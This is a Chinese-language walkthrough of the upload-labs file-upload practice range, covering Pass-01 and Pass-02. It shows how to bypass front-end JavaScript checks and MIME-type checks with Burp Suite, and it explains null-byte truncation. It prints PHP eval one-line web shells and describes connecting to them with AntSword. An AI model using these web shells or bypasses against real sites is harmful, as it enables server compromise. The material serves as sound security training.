前言
Web文件上传方法总结,跳转Blog:https://gryffinbit.top/2022/09/20/web%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/
实验环境
docker hub靶场:https://hub.docker.com/r/c0ny1/upload-labs
腾讯云:Ubuntu Server 20.04 LTS 64bit
靶场搭建
下载
1 | wget -c "https://github.com/c0ny1/upload-labs/archive/refs/heads/master.zip" |
创建镜像
1 | cd upload-labs/docker |
创建容器
1 | docker run -d -p 80:80 upload-labs:latest |
Pass-01
知识点解析
思路: 前端JS绕过:
判断是否存在js绕过漏洞:
- 打开调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)
绕过方式-删除或禁用js:
- 在输入框中输入
about:config
点击接受 - 在搜索框中输入
javascript
然后找到javascript.enabled
选项双击
,出现false
: - 可以上传了
- 在输入框中输入
绕过方式-使用代理上传文件(burpsuite、冰蝎、蚁剑等)
- 抓取数据包,修改filename里面的文件格式,再forward发包
攻略
检查是否存在前端JS绕过
上传png,可以成功上传
上传php,提示失败,但网络并没有发起请求
所以存在js前端绕过漏洞
绕过
禁用js的方式
禁用js
上传成功
采用burpsuite改包的方式
把test.php后缀改为jpg
1
eval($_REQUEST['666']); @
开启burpsuite,浏览选择test.jpg,先不要点点击,开启bp的抓包功能
修改抓取到的数据包,改成php的后缀
上传成功
在服务器上查看是否有该文件
因为是用docker搭的环境,需要进入到docker的命令行中查看。
1
docker exec -it a47af352776f /bin/bash
1
ls
上传成功
访问
关于docker文件映射的一个关系。docker启动的时候,开启了apache服务 。所以访问http://ip:80的时候,就是访问了apache的默认根目录`/var/www/html`下的文件,所以去访问上传的文件,需要访问`http://ip:80/upload/readme.php` (即在docker中的路径关系,默认/var/www/html为根目录)
蚁剑外链
上传了ant.php,通过蚁剑去链接。
1
eval($_POST['ant']);
Pass-02
知识点解析
攻略
判断是否为前端JS绕过
上传非图片和图片文件后,网络请求发生了改变。说明处理的时候将图片发往后端进行了判断。排除是前端JS绕过
排除一些白名单绕过的方式
另外通过源码的判断,PHP使用
$_FILES
实现上传,不存在00截断绕过上传限制问题。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}判断php的版本
可以通过pass-01,上传木马,获取php版本
1
eval(@$_POST['a']);
Post注入
参考文章
https://cloud.tencent.com/developer/article/1679294
《从0到1 CTFer成长之路》(P121 web文件上传漏洞)
思路2: 00截断绕过上传限制:
00截断是绕过上传限制的常见方法,在C语言中,\0
是字符串的结束符,如果用户能够传入\0
,就能实现截断。
00截断绕过上传限制适用的场景:后端先获取用户上传文件的文件名,如x.php\00.jpg
,再根据文件名获得文件的实际后缀jpg;通过后缀的白名单校验后,最终在保存文件时发生截断,实现上传的文件为x.php
PHP的底层代码为C语言,自然存在这种问题,但实际PHP使用$_FILES
实现文件上传时并不存在00截断绕过上传限制问题,因为PHP在注册$_FILES
全局变量时已经产生了截断。上传文件名为x.php\00.jpg
的文件,而注册到$_FILES['name']
的变量值为x.php
,根据该值得到的后缀为php,因此无法通过后缀的白名单校验。
版本限制:在jdk7u40以下版本存在00截断问题,7u40以后的版本,在上传、写入文件等操作中都会调用File的isInvaild()
方法判断文件是否合法,即不允许文件名含有\0
。如果文件不合法,将抛出异常退出流程。